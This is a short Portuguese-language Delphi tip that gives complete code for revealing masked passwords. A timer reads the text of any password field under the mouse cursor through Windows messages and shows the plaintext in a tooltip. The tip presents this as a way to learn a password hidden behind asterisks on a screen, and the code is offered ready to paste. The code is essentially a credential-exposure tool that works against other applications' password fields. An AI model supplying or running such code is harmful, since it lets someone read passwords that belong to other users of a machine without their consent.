Buscar por:

Descobrir senhas ****** pelo delphi

Código

{De repente acontece e você está lá: de frente para o computador. E na tela do computador apenas a misteriosa 

"*****". Então você se pergunta: que senha será esta que está digitada? Bom, antes de você optar pelo método 

de tentativa e erro, crie uma aplicação nova no Delphi e coloque no formulário um componente TTimer. No 

evento OnTimer deste componente coloque o seguinte código:}

var

  WndHint: THintWindow = nil;  // declare a variável fora da procedure

procedure TForm1.Timer1Timer(Sender: TObject);

var

  Pos: TPoint;

  HWin: THandle;

  Paswd: array[0..63] of Char;

  R: TRect;

begin

  GetCursorPos(Pos);

  HWin := WindowFromPoint(Pos);

  if SendMessage(HWin, EM_GETPASSWORDCHAR, 0, 0) <> 0 then

    begin

      if WndHint = nil then

        begin

          WndHint := THintWindow.Create(Self);

          WndHint.Color := clInfoBk;

          SendMessage(HWin, WM_GETTEXT, 64, Longint(@Paswd));

          R := Rect(Pos.X, Pos.Y + 18, Pos.X +

            WndHint.Canvas.TextWidth(Paswd) + 8,

            Pos.Y + 18 + WndHint.Canvas.TextHeight(Paswd));

          WndHint.ActivateHint(R, Paswd);

        end;

    end

  else if WndHint <> nil then

    begin

      WndHint.ReleaseHandle;

      WndHint := nil;

    end;

end;

//By Instance